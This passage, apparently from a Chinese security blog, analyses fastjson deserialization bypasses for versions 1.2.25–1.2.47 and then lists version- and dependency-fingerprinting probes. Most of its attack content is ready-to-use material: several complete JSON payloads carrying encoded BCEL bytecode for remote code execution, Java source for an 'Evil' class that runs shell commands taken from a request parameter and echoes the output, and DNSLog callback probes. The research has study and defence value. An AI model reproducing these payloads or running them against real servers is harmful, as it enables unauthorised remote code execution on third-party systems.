"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
}
}: {}
}
该利用只有在fastjson 1.2.33 - 1.2.47 可利用,首先在1.2.24之后com.sun 在fastjson的黑名单中,并且在1.2.25<fastjson<1.2.33 时,checkAutoType方法中,类只要在黑名单中就抛出异常。
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
在fastjson >= 33时,就算反序列的类在黑名单中,只要反序列的类在缓存中就不会抛出异常。可以通过java.lang.Class将恶意类加入到mapping后能够利用
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
java.lang.Class的反序列化器com.alibaba.fastjson.serializer.MiscCodec#deserialze可以将任何类添加到mappings缓存中
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
1.2.48的变化:细节看本文的1.2.48部分,无法利用java.lang.Class添加其他类到缓存中,cache=false。
1.25-1.32之间
[{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": ".."
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
}
}: "x"
}
}
]
以下是漏洞利用分析fastjson1.2.31版本下的黑名单
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
在fastjson 1.2.32版本中com.sun包在黑名单中,导致com.sun.org.apache.bcel.internal.util.ClassLoader无法使用。我们能不能找到突破它的边界?黑名单的限制在ParserConfig#checkAutoType
,源码有点长
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else if (typeName.length() >= this.maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
在不利用mappings缓存的情况下
- 在autoTypeSupport开启的情况下,直接会被黑名单拦截
- 在autoTypeSupport关闭的情况下,直接会被黑名单拦截
在利用mappings缓存的情况下
-
在autoTypeSupport开启的情况下,直接会被黑名单拦截
-
在autoTypeSupport关闭的情况下,好像可以直接从缓存中取出。所以我们的思路是通过
java.lang.Class
将com.sun.org.apache.bcel.internal.util.ClassLoader
和org.apache.tomcat.dbcp.dbcp.BasicDataSource
放到TypeUtils.mappings
缓存中然后通过该部分代码直接获取类对象Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
我尝试了一下确实有搞头俩者都可以放在mappings中,但是还会触发对
com.sun.org.apache.bcel.internal.util.ClassLoader
的检测,只不过这次是通过对@type反序列化设置bean属性时,则是通过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze处理,在该方法中会去获取属性对应的类型,并且作为期望类传入到autotype方法中,可以看到fieldType设置为了java.lang.ClassLoader(expectClass期望类)然后接着往下走com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze处理@type反序列化设置的bean属性时,在该方法中会去获取属性对应的类型,并且作为期望类传入到autotype方法中,此时expectClass期望类为java.lang.ClassLoader
最后的结果是我们在这个第一层if逻辑的黑名单检测中直接被查出来是com.sun.org.apache.bcel.internal.util.ClassLoader
目前还有没有其他搞头?答案是有的,在TypeUtils#loadClass
方法中,我们可以将黑名单中的类编写为通过[com.sun.org.apache.bcel.internal.util.ClassLoader、Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 来绕过startsWith的黑名单。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
......
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
.......
}
在不利用mappings缓存的情况下:
-
开启autoTypeSupport:不可行 虽然可以通过
ParserConfig#checkAutoType
前一部分代码获得clazz,但是还会使用isAssignableFrom判断获取到的clazz是否为ClassLoader子类,如果是则会抛出异常结束流程,BCEL ClassLoader肯定是ClassLoader的子类,导致无法利用。public Class<?> checkAutoType(String typeName, Class<?> expectClass) { ....... if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } ....... return clazz; }
-
不开启autoTypeSupport:不可行
ParserConfig#checkAutoType
从头看到尾虽然说逃避了黑名单的检查但是也无法返回clazz
在利用mappings缓存的情况下:
- 开启autoTypeSupport:不可行
- 不开启autoTypeSupport:不可行
为了躲避黑名单的检测我们必须把@type设置为Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 但是设置成这样无法添加进缓存mappings中,TypeUtils#loadClass
在这种逻辑下没添加到缓存的操作
public static Class<?> loadClass(String className, ClassLoader classLoader) {
.......
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
}
那这不又寄了?还没结束!安全研究这帮大佬太猛了 回到最初的不利用[
和L ;
来绕过黑名单的分析中:在autoTypeSupport关闭的情况下,好像可以直接从缓存中取出 这里失败的原因是fastjson对@type反序列化设置bean属性时,则是通过JavaBeanDeserializer#deserialze处理,在该方法中会去获取属性对应的类型,并且作为期望类传入到checkautotype方法中,driverClass属性的expectclass为ClassLoader,直接在checkAutoType中进入第一层黑名单判断。
解决:利用FastJSON的$ref特性 不指定expectClass来为driverClass设置值,因为fastjson使用$ref特性使用的是反射而不是fastjson中的反序列化器。 新的payload如下,但是放在1.2.25-1.2.32的环境中发现并不能RCE。
[ {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader",
"":""
},
{{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref":"$[2]"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"
}
}:{}
}]
在讲解JSONObject和$ref的章节中提到过:json 字符串中的$ref处理逻辑是在DefaultJSONParser#handleResovleTask
中,然而我们的 JSONObject.toString 调用特殊的 getter 方法是在DefaultJSONParser#parse
的逻辑中。这就导致我们的 driverClassLoader 属性还没有被赋值,BasicDataSource
特殊的 getter 方法已经被调用。
//JSON.parse(String text, int features)
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
但是它确实可以起到对"driverClassLoader"属性赋值的作用
[{
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"":""
},{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": "$[2]"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"
}]
debug调试一下,
DefaultJSONParser#parseObject
调用deserializer.deserialze
JavaDeanDeserializer#deserialze
在这里添加了resolveTask
处理resolveTask后可以看到 driverClassLoader 确实被赋值
即使这样在fastjson 1.2.25-1.2.32不出网的环境下依然可以RCE,以下分析均参考自N1CTF中NESE战队的payload。上面的payload的使用$ref
循环引用对bean的属性进行赋值,具体来说是在JavaDeanDeserializer#deserialze
中添加了计划任务然后到DefaultJSONParser#handleResolveTask
中处理$ref
。但是经过分析和研究,在JavaDeanDeserializer#deserialze
中有这样一组代码,如果遇到 "$ref":".."
就会从 parentContext.object
中获取对象作为bean中属性的值
//JavaBeanDeserializer
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, , int features, int[] setFlags) {
.....
if ("$ref" == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
token = lexer.token();
if (token == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
if ("@".equals(ref)) {
object = context.object;
} else if ("..".equals(ref)) {
ParseContext parentContext = context.parent;
if (parentContext.object != null) {
object = parentContext.object;
} else {
parser.addResolveTask(new ResolveTask(parentContext, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
......
}
}
在 BasicDataSource 中的 driverClassLoader 属性值赋值好以后,我们再次使用 JSONObject 调用特殊的 getter 方法,所以我们可以构造出这样的payload结构
{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": ".."
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
}
}: "x"
}
}
这里需要介绍一下几个要点:
-
"$ref":".."
通过从parentContext.object
寻找父类对象的时候按照上面的payload来说会找到JSONObject对象,但是在JSONObject反序列化的过程中会因为DefaultJSONParser#parseObject
中的以下这组代码会将已经放入 this.context 中的 parseContext(JSONObject) 弹出。(Debug)if (this.context != null && !(fieldName instanceof Integer) && !(this.context.fieldName instanceof Integer)) { this.popContext(); }
所以结果就是
JavaDeanDeserializer#deserialze
中"$ref":".."
找到的父类对象是com.sun.org.apache.bcel.internal.util.ClassLoader
具体为什么这样估计得研究 ParseContext 我研究了半天反正没明白它在反序列化中添加和弹出得逻辑是什么
-
JSONObject调用特殊的 "getter" 方法需要将 JSONObject 整体放在在JSON字符串中 key 的位置(具体原理看本文JSONObject调用特殊的getter方法部分)
最后我们添加黑名单中的类到缓存中就好了
[{
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"$ref": ".."
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
}
}: "x"
}
}
]
最终也是成功弹出计算器。
(里面具体原理好多不懂,搁浅了最近不会再看fastjson)
BCEL字节码
除了上述对于fastjson的分析,我们还需要准备恶意的BCEL字节码。(自己没有写过,这里做一个搬用工
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil {
public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);
m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);
m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);
m = request.getClass().getMethod("getParameter", String.class);
String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
output = new Scanner(inputStream).useDelimiter("\\A").next();
m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();
}
}
探测fastjson
abc123info大佬的分析:https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484332&idx=1&sn=c787dd0985156d856aad03d56a945be4&scene=19#wechat_redirect
浅蓝的2022Kcon议题
以下检测方法都没有实际检测过
探测fastjson使用的类:使用的都是URL,DNS之类的类java.net.Inet6Address
、java.net.URL
并且 它们都在白名单中
关于DNS的判断:无dns请求记录并不能说明目标一定是无漏洞版本,很有可能是目标未配置dns,无网在实际场景中出现频率也很高
鉴别是否使用fastjson
DNSLog鉴别fastjson
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{{"@type":"java.net.URL"."val":"http://dnslog.com"}:"a"}
回显鉴别fastjson
{“c”:{“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}}
有回显基本可确认是fastjson,Inet6Address是个全版本都可使用的链。
解析鉴别fastjson
{"a":new a(1),"b":x'11',/**/"c":Set[{}{}],"d":"\u0000\x00"}
//变化为以下可证明是fastjson
{"a":1,"b":"EQ==","c":[{}],"d":"\u0000\u0000"}
{"ext":"blue","name":{"ref":"$.ext"}}
//变化为以下可证明是fastjson
{"ext":"blue","name":"bulue"}
响应鉴别fastjson
["@type":"whatever"]
响应为:com.alibaba.fastjson.JSONException:autoType is not support whatever
可证明其是fastjson
1.2.24以上的版本探测
返回异常,证明版本>1.2.24
{“c”:{“@type”:”xx”}}
1.2.47版本及以下探测
如果Dnslog能检测到说明fastjson属于1.2.47及以下的版本
[
{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},
{"@type":"java.io.ByteArrayOutputStream"},
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
]
如果Dnslog能检测到说明fastjson属于1.2.47及以下的版本。
{“c”:{“@type”:”java.net.InetAddress”,”val”:”asd.bayebz.dnslog.cn”}}
如果环境不出网或者无dns服务器无法解析域名,可以通过ip(也就是利用InetAdress探测),返回正常证明fastjson<1.2.48
{“c”:{“@type”:”java.net.InetAddress”,”val”:”127.0.0.1”}}
1.2.68版本探测
如果Dnslog能检测到说明1.2.68版本
[
{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"},
{"@type":"java.io.ByteArrayOutputStream"},
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
]
1.2.80和1.2.83版本
如果Dnslog能检测到一次Dns请求就是1.2.80 二次就是1.2.83
[
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"frist.dnslog.com"}}}
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"second.dnslog.com"}}}
]
不出网检测(bushi
{"c":{"@type":"java.lang.Class","val":"javax.swing.JEditorPane"},"d":{"@type":"javax.swing.JEditorPane","page":"http://host/a"}}
异常回显探测精确版本号
这个探测应该有版本范围限制,不是每个版本都这样
{"@type":"java.lang.AutoCloseable"
syntax error,expect{,actual EOF,pos0,fastjson-version 1.2.76
探测依赖环境
回显探测依赖环境
{"@type":"java.lang.Class","val":"java.net.http.HttpClient"}
返回Class not found则表示没有该依赖
返回Class exists则表示存在该依赖
- java11:java.net.http.HttpClient
- mysql:com.mysql.jdbc.Driver
- groovy:groovy.lang.GroovyShell
- .....
报错回显探测依赖库
spring中的fastjson
在Spring中集成fastjson可能和平时的JSON#parse有所不同:参考在 Spring 中集成 Fastjson,以下以Springboot为例进行学习
Springboot项目在解析json的时候默认使用的是jackson转换器MappingJackson2HttpMessageConverter。想要在Springboot中集成fastjson,需要按照如下方式修改配置
@Configuration
public class SpringMvcConfig implements WebMvcConfigurer {
@Override
public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
//移除转换器
Iterator<HttpMessageConverter<?>> iterator = converters.iterator();
while(iterator.hasNext()){
HttpMessageConverter<?> converter = iterator.next();
if(converter instanceof MappingJackson2HttpMessageConverter){
iterator.remove();
}
}
//添加fastjson转换器
FastJsonHttpMessageConverter fastJsonHttpMessageConverter = new FastJsonHttpMessageConverter();
converters.add(fastJsonHttpMessageConverter);
}
@Override
public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {
//打印转换器排错
for (HttpMessageConverter<?> converter:converters){
System.out.println(converter);
}
